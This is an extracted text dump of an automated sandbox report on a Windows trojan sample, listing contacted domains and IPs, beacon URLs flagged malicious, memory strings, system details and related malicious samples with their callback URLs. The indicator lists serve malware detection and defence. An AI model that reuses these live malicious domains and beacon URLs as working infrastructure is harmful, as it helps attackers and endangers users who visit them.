www.thebabyfriendly.com 154.80.226.18 true true unknown

www.wellnesssensation.com 52.128.23.153 true true unknown

h2oturkiye.com 94.73.146.42 true true unknown

www.yjpps.com 0.0.0.0 true false unknown

gallerybrows.com 34.102.136.180 true true unknown

gdsjgf.com 34.102.136.180 true true unknown

ext-sq.squarespace.com 198.185.159.144 true false high

Domains and IPs

Contacted Domains
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activagebenefits.net 34.102.136.180 true true unknown

rizrvd.com 34.102.136.180 true true unknown

www.ramjamdee.com unknown unknown true unknown

www.activagebenefits.net unknown unknown true unknown

www.fcoins.club unknown unknown true unknown

www.gallerybrows.com unknown unknown true unknown

www.usmedicarenow.com unknown unknown true unknown

www.h2oturkiye.com unknown unknown true unknown

www.climaxnovels.com unknown unknown true unknown

www.gdsjgf.com unknown unknown true unknown

www.chrisbubser.digital unknown unknown true unknown

www.rizrvd.com unknown unknown true unknown

Name IP Active Malicious Antivirus Detection Reputation

Name Malicious Antivirus Detection Reputation

www.rizrvd.com/bw82/?
2dspCJ=AJ+QNFfpTCGoeNdN3oQHABBFVni950JEMBWacmvnp29IOaric6KDWsJikAvcMmA
xBpMV&L6Ah=2dPLKjuxNzghip

true Avira URL Cloud: safe unknown

www.wellnesssensation.com/bw82/?
L6Ah=2dPLKjuxNzghip&2dspCJ=455EGVYP5nwn6UKaNruX/4AMFbR5eugGoFi+RSiFi9xq+S
c4S/7LJuL4z/DBianrCvuj

true Avira URL Cloud: safe unknown

www.gallerybrows.com/bw82/?
2dspCJ=qtQC6ueLh9SPHvPoeB2W7XMv4DHg8NEty8uJPphl3NdNxxbo+oCUuV5k45UTpNk
EWHc7&L6Ah=2dPLKjuxNzghip

true Avira URL Cloud: safe unknown

www.usmedicarenow.com/bw82/?
2dspCJ=cQgJWKf8RQ1tgXmhpNlNvU1Wcwt7yBWYkRci+XoIvJPaxwQIB73a/eHibjyZxTY12A
hF&L6Ah=2dPLKjuxNzghip

true Avira URL Cloud: safe unknown

www.climaxnovels.com/bw82/?
2dspCJ=ErYhPq0/zQvehGK9wS6+i9BP1HsxrMLlWLaBPkVFk6gJ3Rf5IPX3ZCPP9+b6hANS
OkIk&L6Ah=2dPLKjuxNzghip

true Avira URL Cloud: safe unknown

www.rizrvd.com/bw82/ true Avira URL Cloud: safe low

www.thebabyfriendly.com/bw82/?
L6Ah=2dPLKjuxNzghip&2dspCJ=r3fdhBxfm/17hO+WGttpxejAYTJXJLNaeaIMUW/kEa9Q3oK
yIBTjSr0cbQanu0dSY6cl

true Avira URL Cloud: safe unknown

www.h2oturkiye.com/bw82/?
2dspCJ=CMr/hCS473yTOMLQRlwKDrCPfcrQCABATOinOmsXstIRfABY7iJyJix7IPLOuntXuF5
p&L6Ah=2dPLKjuxNzghip

true Avira URL Cloud: safe unknown

www.activagebenefits.net/bw82/?
L6Ah=2dPLKjuxNzghip&2dspCJ=kkzs7wdk+a5EmvlejfiLHnYXY/z1ZZpbk/A0waQQyoH3vrpc5
BJXUH7YClYSBXJaDwsI

true Avira URL Cloud: safe unknown

www.ramjamdee.com/bw82/?
L6Ah=2dPLKjuxNzghip&2dspCJ=G5V/jI1lXUWhm2/po/i12Eg93VLS1Yw8/s5fANqQYS1eyL2v/
ZzyMw3Ygf/31m6ddEJO

true Avira URL Cloud: safe unknown

www.gdsjgf.com/bw82/?
L6Ah=2dPLKjuxNzghip&2dspCJ=7KG5rMnJQVi61jAewyvwq06b8xrmRTVdiDIOhf904IMqwa5
VOrK6tjTZXar9S1Zs43DY

true Avira URL Cloud: safe unknown

Name Source Malicious Antivirus Detection Reputation

www.founder.com.cn/cnO vBugmobiJh.exe, 00000001.00000
003.211340323.0000000005727000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

www.fontbureau.com/designersG vBugmobiJh.exe, 00000001.00000
002.232662960.0000000005810000
.00000002.00000001.sdmp, explo
rer.exe, 00000007.00000000.252
001525.0000000008B40000.000000
02.00000001.sdmp

false high

www.jiyu-kobo.co.jp/Y0ntPi vBugmobiJh.exe, 00000001.00000
003.214840427.0000000005725000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

www.fontbureau.com/designers/? vBugmobiJh.exe, 00000001.00000
002.232662960.0000000005810000
.00000002.00000001.sdmp, explo
rer.exe, 00000007.00000000.252
001525.0000000008B40000.000000
02.00000001.sdmp

false high

www.founder.com.cn/cn/bThe vBugmobiJh.exe, 00000001.00000
002.232662960.0000000005810000
.00000002.00000001.sdmp, explo
rer.exe, 00000007.00000000.252
001525.0000000008B40000.000000
02.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

Contacted URLs

URLs from Memory and Binaries
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www.fontbureau.comsiefd$P vBugmobiJh.exe, 00000001.00000
003.216854776.0000000005725000
.00000004.00000001.sdmp

false Avira URL Cloud: safe low

www.fontbureau.com/designers? vBugmobiJh.exe, 00000001.00000
002.232662960.0000000005810000
.00000002.00000001.sdmp, explo
rer.exe, 00000007.00000000.252
001525.0000000008B40000.000000
02.00000001.sdmp

false high

www.jiyu-kobo.co.jp/uild$P vBugmobiJh.exe, 00000001.00000
003.214092584.0000000005725000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

www.tiro.com explorer.exe, 00000007.0000000
0.252001525.0000000008B40000.0
0000002.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.fontbureau.comsP vBugmobiJh.exe, 00000001.00000
003.216854776.0000000005725000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

www.fontbureau.com/designers explorer.exe, 00000007.0000000
0.252001525.0000000008B40000.0
0000002.00000001.sdmp

false high

www.fontbureau.comepko vBugmobiJh.exe, 00000001.00000
003.227609079.0000000005720000
.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.goodfont.co.kr vBugmobiJh.exe, 00000001.00000
002.232662960.0000000005810000
.00000002.00000001.sdmp, explo
rer.exe, 00000007.00000000.252
001525.0000000008B40000.000000
02.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstr
ap.min.css

vBugmobiJh.exe, 00000001.00000
002.229831410.00000000026F1000
.00000004.00000001.sdmp

false high

www.fontbureau.comM.TTFzP vBugmobiJh.exe, 00000001.00000
003.216854776.0000000005725000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

www.sajatypeworks.com vBugmobiJh.exe, 00000001.00000
003.208761960.0000000005723000
.00000004.00000001.sdmp, explo
rer.exe, 00000007.00000000.252
001525.0000000008B40000.000000
02.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.typography.netD vBugmobiJh.exe, 00000001.00000
002.232662960.0000000005810000
.00000002.00000001.sdmp, explo
rer.exe, 00000007.00000000.252
001525.0000000008B40000.000000
02.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.founder.com.cn/cn/cThe vBugmobiJh.exe, 00000001.00000
002.232662960.0000000005810000
.00000002.00000001.sdmp, explo
rer.exe, 00000007.00000000.252
001525.0000000008B40000.000000
02.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.galapagosdesign.com/staff/dennis.htm vBugmobiJh.exe, 00000001.00000
002.232662960.0000000005810000
.00000002.00000001.sdmp, vBugm
obiJh.exe, 00000001.00000003.2
17860687.0000000005733000.0000
0004.00000001.sdmp, explorer.exe, 
00000007.00000000.25200152
5.0000000008B40000.00000002.00
000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

fontfabrik.com vBugmobiJh.exe, 00000001.00000
002.232662960.0000000005810000
.00000002.00000001.sdmp, explo
rer.exe, 00000007.00000000.252
001525.0000000008B40000.000000
02.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.fontbureau.comB.TTF vBugmobiJh.exe, 00000001.00000
003.227609079.0000000005720000
.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.jiyu-kobo.co.jp// vBugmobiJh.exe, 00000001.00000
003.214092584.0000000005725000
.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.founder.com.cn/cnt vBugmobiJh.exe, 00000001.00000
003.211149216.0000000000D4D000
.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

Name Source Malicious Antivirus Detection Reputation
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www.galapagosdesign.com/DPlease vBugmobiJh.exe, 00000001.00000
002.232662960.0000000005810000
.00000002.00000001.sdmp, explo
rer.exe, 00000007.00000000.252
001525.0000000008B40000.000000
02.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.jiyu-kobo.co.jp/Y0 vBugmobiJh.exe, 00000001.00000
003.214840427.0000000005725000
.00000004.00000001.sdmp, vBugm
obiJh.exe, 00000001.00000003.2
14092584.0000000005725000.0000
0004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.ascendercorp.com/typedesigners.html vBugmobiJh.exe, 00000001.00000
003.214832645.0000000005766000
.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.fonts.com vBugmobiJh.exe, 00000001.00000
002.232662960.0000000005810000
.00000002.00000001.sdmp, explo
rer.exe, 00000007.00000000.252
001525.0000000008B40000.000000
02.00000001.sdmp

false high

www.sandoll.co.kr vBugmobiJh.exe, 00000001.00000
002.232662960.0000000005810000
.00000002.00000001.sdmp, explo
rer.exe, 00000007.00000000.252
001525.0000000008B40000.000000
02.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.jiyu-kobo.co.jp/jp/2P vBugmobiJh.exe, 00000001.00000
003.214371711.0000000005725000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

www.urwpp.deDPlease vBugmobiJh.exe, 00000001.00000
002.232662960.0000000005810000
.00000002.00000001.sdmp, explo
rer.exe, 00000007.00000000.252
001525.0000000008B40000.000000
02.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.urwpp.de vBugmobiJh.exe, 00000001.00000
003.216854776.0000000005725000
.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.zhongyicts.com.cn vBugmobiJh.exe, 00000001.00000
002.232662960.0000000005810000
.00000002.00000001.sdmp, explo
rer.exe, 00000007.00000000.252
001525.0000000008B40000.000000
02.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.jiyu-kobo.co.jp/tendHP vBugmobiJh.exe, 00000001.00000
003.214092584.0000000005725000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

www.sakkal.com vBugmobiJh.exe, 00000001.00000
002.232662960.0000000005810000
.00000002.00000001.sdmp, explo
rer.exe, 00000007.00000000.252
001525.0000000008B40000.000000
02.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.founder.com.cn/cnh vBugmobiJh.exe, 00000001.00000
003.211340323.0000000005727000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

www.jiyu-kobo.co.jp/ltt=P vBugmobiJh.exe, 00000001.00000
003.214840427.0000000005725000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

www.jiyu-kobo.co.jp//P vBugmobiJh.exe, 00000001.00000
003.214840427.0000000005725000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

www.founder.com.cn/cnd vBugmobiJh.exe, 00000001.00000
003.211098499.000000000572E000
.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.jiyu-kobo.co.jp/oiolP vBugmobiJh.exe, 00000001.00000
003.214840427.0000000005725000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

www.apache.org/licenses/LICENSE-2.0 vBugmobiJh.exe, 00000001.00000
002.232662960.0000000005810000
.00000002.00000001.sdmp, explo
rer.exe, 00000007.00000000.252
001525.0000000008B40000.000000
02.00000001.sdmp

false high

www.fontbureau.com vBugmobiJh.exe, 00000001.00000
002.232662960.0000000005810000
.00000002.00000001.sdmp, explo
rer.exe, 00000007.00000000.252
001525.0000000008B40000.000000
02.00000001.sdmp

false high

Name Source Malicious Antivirus Detection Reputation
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www.galapagosdesign.com/ vBugmobiJh.exe, 00000001.00000
003.218063402.0000000005725000
.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.agfamonotype. vBugmobiJh.exe, 00000001.00000
003.214840427.0000000005725000
.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.galapagosdesign.com/%k vBugmobiJh.exe, 00000001.00000
003.217860687.0000000005733000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

www.jiyu-kobo.co.jp/vno vBugmobiJh.exe, 00000001.00000
003.214840427.0000000005725000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

www.fontbureau.comcomm vBugmobiJh.exe, 00000001.00000
003.216854776.0000000005725000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

www.jiyu-kobo.co.jp/jp/ vBugmobiJh.exe, 00000001.00000
003.214840427.0000000005725000
.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.fonts.comKr vBugmobiJh.exe, 00000001.00000
003.209223636.000000000573B000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

www.jiyu-kobo.co.jp/2P vBugmobiJh.exe, 00000001.00000
003.214092584.0000000005725000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

www.carterandcone.coml vBugmobiJh.exe, 00000001.00000
002.232662960.0000000005810000
.00000002.00000001.sdmp, explo
rer.exe, 00000007.00000000.252
001525.0000000008B40000.000000
02.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.founder.com.cn/cn/ vBugmobiJh.exe, 00000001.00000
003.211716442.0000000005726000
.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.fontbureau.com/designers/cabarga.htmlN vBugmobiJh.exe, 00000001.00000
002.232662960.0000000005810000
.00000002.00000001.sdmp, explo
rer.exe, 00000007.00000000.252
001525.0000000008B40000.000000
02.00000001.sdmp

false high

www.ascendercorp.com/typedesigners.htmlu vBugmobiJh.exe, 00000001.00000
003.214832645.0000000005766000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

www.founder.com.cn/cn vBugmobiJh.exe, 00000001.00000
002.232662960.0000000005810000
.00000002.00000001.sdmp, explo
rer.exe, 00000007.00000000.252
001525.0000000008B40000.000000
02.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.fontbureau.com/designers/frere-jones.html vBugmobiJh.exe, 00000001.00000
002.232662960.0000000005810000
.00000002.00000001.sdmp, vBugm
obiJh.exe, 00000001.00000003.2
16329040.0000000005739000.0000
0004.00000001.sdmp, explorer.exe, 
00000007.00000000.25200152
5.0000000008B40000.00000002.00
000001.sdmp

false high

www.jiyu-kobo.co.jp/AP vBugmobiJh.exe, 00000001.00000
003.214092584.0000000005725000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

www.fontbureau.comd2P vBugmobiJh.exe, 00000001.00000
003.216854776.0000000005725000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

www.jiyu-kobo.co.jp/es vBugmobiJh.exe, 00000001.00000
003.214092584.0000000005725000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

www.fontbureau.comm vBugmobiJh.exe, 00000001.00000
003.227609079.0000000005720000
.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.jiyu-kobo.co.jp/ vBugmobiJh.exe, 00000001.00000
002.232662960.0000000005810000
.00000002.00000001.sdmp, explo
rer.exe, 00000007.00000000.252
001525.0000000008B40000.000000
02.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.fontbureau.com/designers8 vBugmobiJh.exe, 00000001.00000
002.232662960.0000000005810000
.00000002.00000001.sdmp, explo
rer.exe, 00000007.00000000.252
001525.0000000008B40000.000000
02.00000001.sdmp

false high

Name Source Malicious Antivirus Detection Reputation
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General Information

Joe Sandbox Version: 31.0.0 Emerald

Analysis ID: 356496

Start date: 23.02.2021

Start time: 08:58:34

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 12m 7s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: vBugmobiJh.exe

Cookbook file name: default.jbs

www.fontbureau.com/designers/ vBugmobiJh.exe, 00000001.00000
003.215875793.0000000005760000
.00000004.00000001.sdmp

false high

www.jiyu-kobo.co.jp/sP vBugmobiJh.exe, 00000001.00000
003.214092584.0000000005725000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

www.jiyu-kobo.co.jp/jp/zP vBugmobiJh.exe, 00000001.00000
003.214092584.0000000005725000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

Name Source Malicious Antivirus Detection Reputation

No. of IPs < 25%

25% < No. of IPs < 50%

50% < No. of IPs < 75%

75% < No. of IPs

IP Domain Country Flag ASN ASN Name Malicious

198.185.159.144 unknown United States 53831 SQUARESPACEUS false

52.128.23.153 unknown United States 19324 DOSARRESTUS true

34.102.136.180 unknown United States 15169 GOOGLEUS true

154.80.226.18 unknown Seychelles 134548 DXTL-
HKDXTLTseungKwanOServi
ceHK

true

94.73.146.42 unknown Turkey 34619 CIZGITR true

Contacted IPs

Public
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Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 
2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 
Update 211

Number of analysed new started processes analysed: 32

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 1

Technologies: HCA enabled
EGA enabled
HDC enabled
AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.troj.evad.winEXE@9/1@15/5

EGA Information: Failed

HDC Information: Successful, ratio: 43.8% (good quality ratio 39.4%)
Quality average: 73.6%
Quality standard deviation: 31.9%

HCA Information: Successful, ratio: 99%
Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments: Adjust boot time
Enable AMSI
Found application associated with file extension: 
.exe
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Warnings:
Exclude process from analysis (whitelisted): 
taskhostw.exe, MpCmdRun.exe, 
BackgroundTransferHost.exe, 
backgroundTaskHost.exe, SgrmBroker.exe, 
conhost.exe, svchost.exe, wuapihost.exe
TCP Packets have been reduced to 100
Excluded IPs from analysis (whitelisted): 
168.61.161.212, 131.253.33.200, 13.107.22.200, 
93.184.220.29, 23.210.249.50, 104.43.193.48, 
92.122.145.220, 104.43.139.144, 52.255.188.83, 
23.210.248.85, 51.104.144.132, 2.20.142.210, 
2.20.142.209, 52.155.217.156, 20.54.26.129, 
92.122.213.247, 92.122.213.194, 51.104.139.180
Excluded domains from analysis (whitelisted): 
storeedgefd.dsx.mp.microsoft.com.edgekey.net.glo
balredir.akadns.net, 
au.download.windowsupdate.com.edgesuite.net, 
cs9.wac.phicdn.net, arc.msn.com.nsatc.net, store-
images.s-microsoft.com-c.edgekey.net, fs-
wildcard.microsoft.com.edgekey.net, fs-
wildcard.microsoft.com.edgekey.net.globalredir.aka
dns.net, a1449.dscg2.akamai.net, 
storeedgefd.xbetservices.akadns.net, arc.msn.com,
db5eap.displaycatalog.md.mp.microsoft.com.akadn
s.net, e12564.dspb.akamaiedge.net, 
ocsp.digicert.com, www-bing-com.dual-a-0001.a-
msedge.net, 
audownload.windowsupdate.nsatc.net, 
displaycatalog.mp.microsoft.com, 
watson.telemetry.microsoft.com, img-prod-cms-rt-
microsoft-com.akamaized.net, 
prod.fs.microsoft.com.akadns.net, au-bg-
shim.trafficmanager.net, 
storeedgefd.dsx.mp.microsoft.com, www.bing.com, 
displaycatalog-
europeeap.md.mp.microsoft.com.akadns.net, 
fs.microsoft.com, displaycatalog-rp-
europe.md.mp.microsoft.com.akadns.net, 
displaycatalog.md.mp.microsoft.com.akadns.net, 
ris-prod.trafficmanager.net, 
skypedataprdcolcus17.cloudapp.net, 
e1723.g.akamaiedge.net, 
ctldl.windowsupdate.com, 
skypedataprdcolcus16.cloudapp.net, 
a767.dscg3.akamai.net, 
storeedgefd.dsx.mp.microsoft.com.edgekey.net, 
skypedataprdcolcus15.cloudapp.net, dual-a-
0001.dc-msedge.net, ris.api.iris.microsoft.com, 
skypedataprdcoleus17.cloudapp.net, a-0001.a-
afdentry.net.trafficmanager.net, store-images.s-
microsoft.com, 
blobcollector.events.data.trafficmanager.net, 
e16646.dscg.akamaiedge.net, displaycatalog-
rp.md.mp.microsoft.com.akadns.net
Report size getting too big, too many 
NtAllocateVirtualMemory calls found.

Time Type Description

08:59:31 API Interceptor 1x Sleep call for process: vBugmobiJh.exe modified

Match Associated Sample Name / URL SHA 256 Detection Link Context

Show All

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs
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198.185.159.144 SHED.EXE Get hash malicious Browse  www.tomp3
d.net/r8pp/?
T8Vh=sK1
DNTBFqnrDA
EjJC5kiCuo
ZRuCrxJUK8
uWX4HE4Lqy
CFvrnAwtCR
7VNjd5adBJ
B+5ul&-ZPl
=1bdpal

4vnTrjsACd.rtf Get hash malicious Browse  www.usmed
icarenow.c
om/bw82/?R
F=cQgJWKf5
RX1pgHqtrN
lNvU1Wcwt7
yBWYkREyiU
0JrpPbxB8O
GrmWpa/gYG
eP1DcG9D81
oQ==&MpFxo
=z4X81vGpK2z8

FEB_2021.EXE Get hash malicious Browse  www.magic
labs.media
/bw82/?rp=
P2+pz5Ip5T
hw4xSsr1TQ
mwqfNtgh4u
a+i2k1cmEp
jT3MKeCHzs
63ua9Pxqw8
Bg75uSCp&R
R=YrHlp8D

NNFYMCVABc.exe Get hash malicious Browse  www.theat
omicshots.
com/xle/?P
pd=dZpq/2S
bxZ9fjKphi
MNZYhV3L/2
Ns2NYRA9Xv
ZOFrZWohuK
G4iXKPwFAY
UeyauD7Ycn
s&BX=E0G8Y
pdxI8F

q2o0a1neTm.exe Get hash malicious Browse  www.theat
omicshots.
com/xle/?u
6u4=hBWp7l
4HSL7&MZQL
=dZpq/2Sbx
Z9fjKphiMN
ZYhV3L/2Ns
2NYRA9XvZO
FrZWohuKG4
iXKPwFAYUe
yauD7Ycns

invoice.jpg.exe Get hash malicious Browse  www.quant
umsoundthe
rapy.info/jsw/?
UtzP=
GFQLLtYPWZ
plVZ&IfrXt
hQ=5e9NVW9
syr8P9XSSC
cw9PPY9meK
GkrzS0YcQp
6jXQzD/XwU
eWOlBZP3dm
v9HrmYsxpsg

PR Agreement FEB2021.xlsx Get hash malicious Browse  www.usmed
icarenow.c
om/bw82/?r
DHt=cQgJWK
f5RX1pgHqt
rNlNvU1Wcw
t7yBWYkREy
iU0JrpPbxB
8OGrmWpa/g
YGeP1DcG9D
81oQ==&9rb
PKt=zzr4Wp
8XVp9

Match Associated Sample Name / URL SHA 256 Detection Link Context
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https://view.joesandbox.com/analysis/266189/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266189/html/none?idtype=webid
https://view.joesandbox.com/analysis/265723/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265723/html/none?idtype=webid
https://view.joesandbox.com/analysis/264078/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264078/html/none?idtype=webid
https://view.joesandbox.com/analysis/263365/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263365/html/none?idtype=webid
https://view.joesandbox.com/analysis/263189/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263189/html/none?idtype=webid
https://view.joesandbox.com/analysis/261885/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/261885/html/none?idtype=webid
https://view.joesandbox.com/analysis/261865/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/261865/html/none?idtype=webid


ships documents.xlsx Get hash malicious Browse  www.artis
thenewmedi
tation.com
/gqx2/?Czu
d=Dpp83Zap
Oz0DiPO&-Z
7tZ=r/jg5s
epAma4rZB3
R6YWcuCeFV
ZouiCpBAkT
8M+MS5l4cS
Jdb1sCs2PX
H8wnC+lApn
+oZQ==

M0uy4pgQzd.exe Get hash malicious Browse  www.theat
omicshots.
com/xle/?9
rq=dZpq/2S
bxZ9fjKphi
MNZYhV3L/2
Ns2NYRA9Xv
ZOFrZWohuK
G4iXKPwFAY
USyJ+P4BMn
6MYJMQQ==&
4h0=vTR8Sl
dxW2Clmhi

INV_TMB_C108976.xlsx Get hash malicious Browse  www.theat
omicshots.
com/xle/?e
rjl7vOP=dZ
pq/2Sexe9b
jaltgMNZYh
V3L/2Ns2NY
RAlHzaSEv5
WphfmA/yGG
Z09CbyS0Rf
XwN6TbVg==
&TB=8p50hj
bp4rS43N

q5oRsfy1vk.exe Get hash malicious Browse  www.livis
programmin
gadventure
.com/w8en/?
jrQDTX=Id
RnP5iycLKM
IZLMxzjK1m
KkkcfwvyJh
nPJgOKI25q
H0jZkIFIOn
sUp241V0RI
qCRmvy&K2J
xgH=Exop8h
RXRdA

YWrrcqVAno.exe Get hash malicious Browse  www.magic
labs.media
/bw82/?u8i
LW=P2+pz5I
p5Thw4xSsr
1TQmwqfNtg
h4ua+i2k1c
mEpjT3MKeC
Hzs63ua9Px
pQGRxbB01j
u&OhNhA=9r
UlSVPXQJJ

wYpMWI3N52.exe Get hash malicious Browse  www.teppe
isugaya.co
m/p7t/?BlL
=8T8LKpq1N
rovzOWZxbE
+5VRL+huCf
HU9bKk3jO1
v/3hQ4SgVI
22Wd89Fmwi
c7Ahh4Z3r8
8CvIw==&a4
8=tXIxBn8h

Match Associated Sample Name / URL SHA 256 Detection Link Context
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https://view.joesandbox.com/analysis/260719/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/260719/html/none?idtype=webid
https://view.joesandbox.com/analysis/260368/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/260368/html/none?idtype=webid
https://view.joesandbox.com/analysis/259841/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259841/html/none?idtype=webid
https://view.joesandbox.com/analysis/259389/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259389/html/none?idtype=webid
https://view.joesandbox.com/analysis/259368/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259368/html/none?idtype=webid
https://view.joesandbox.com/analysis/259308/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259308/html/none?idtype=webid


Agreement.xlsx Get hash malicious Browse  www.usmed
icarenow.c
om/bw82/?O
xlhlP1x=cQ
gJWKf5RX1p
gHqtrNlNvU
1Wcwt7yBWY
kREyiU0Jrp
PbxB8OGrmW
pa/gYGeP1D
cG9D81oQ==&-
Zz=NpM4A
dWXGTqt_ry0

Doc_37584567499454.xlsx Get hash malicious Browse  www.sound
on.events/csv8/?
l48tdRq0=f1zFy
jN0EmLviNF
8fKKCz7YQn
zvARTiViS3
XLvwk6t41g
XJpQ0SRSkW
jGn1VRBwYO
zEhaA==&RF
=fra8

xl2Ml2iNJe.exe Get hash malicious Browse  www.theat
omicshots.
com/xle/?-
ZnD=LjoXU6n8-
&iBrlPD
=dZpq/2Sbx
Z9fjKphiMN
ZYhV3L/2Ns
2NYRA9XvZO
FrZWohuKG4
iXKPwFAYUS
LWPv7Pa79M
YJLDg==

Inquiry_73834168_.xlsx Get hash malicious Browse  www.senti
re.design/incn/?
9r_PU=-
ZQLEn&e
2Jdlzf8=5l
tUxrttwFhp
toEbwwSBkw
hwumkFdmMX
QM+4K6mrQN
NQqM/0ADGI
G+m5mhGMml
3JysWX3Q==

hmH9ZhBQFD.exe Get hash malicious Browse  www.magic
labs.media
/bw82/?AjR
=P2+pz5Ip5
Thw4xSsr1T
QmwqfNtgh4
ua+i2k1cmE
pjT3MKeCHz
s63ua9PxpQ
sOBrBw3ru&
ndnDnN=-Zh
4gtKhzFrx

Signatures Required 21-01-2021.xlsx Get hash malicious Browse  www.usmed
icarenow.c
om/bw82/?K
PO0Ltt0=cQ
gJWKf5RX1p
gHqtrNlNvU
1Wcwt7yBWY
kREyiU0Jrp
PbxB8OGrmW
pa/gYGeP1D
cG9D81oQ==
&GzuD_=dp5
pdVbpjd

PO210119.exe.exe Get hash malicious Browse  www.edmon
dscakes.co
m/2kf/?9r4
P2=J484&xP
GHVhT0=9XM
LlWJTI6vAf
rHRazBeuJn
X2zF/KKkFV
ijVc9HuNL/
CE78GsXIW/
AGNdR4jkRE
GsVcZ

Match Associated Sample Name / URL SHA 256 Detection Link Context
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https://view.joesandbox.com/analysis/258853/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258853/html/none?idtype=webid
https://view.joesandbox.com/analysis/258850/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258850/html/none?idtype=webid
https://view.joesandbox.com/analysis/258419/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258419/html/none?idtype=webid
https://view.joesandbox.com/analysis/258350/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258350/html/none?idtype=webid
https://view.joesandbox.com/analysis/257254/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257254/html/none?idtype=webid
https://view.joesandbox.com/analysis/257244/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257244/html/none?idtype=webid
https://view.joesandbox.com/analysis/256920/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/256920/html/none?idtype=webid


52.128.23.153 CMahQwuvAE.exe Get hash malicious Browse  www.welln
esssensati
on.com/bw82/?
CneDg=4
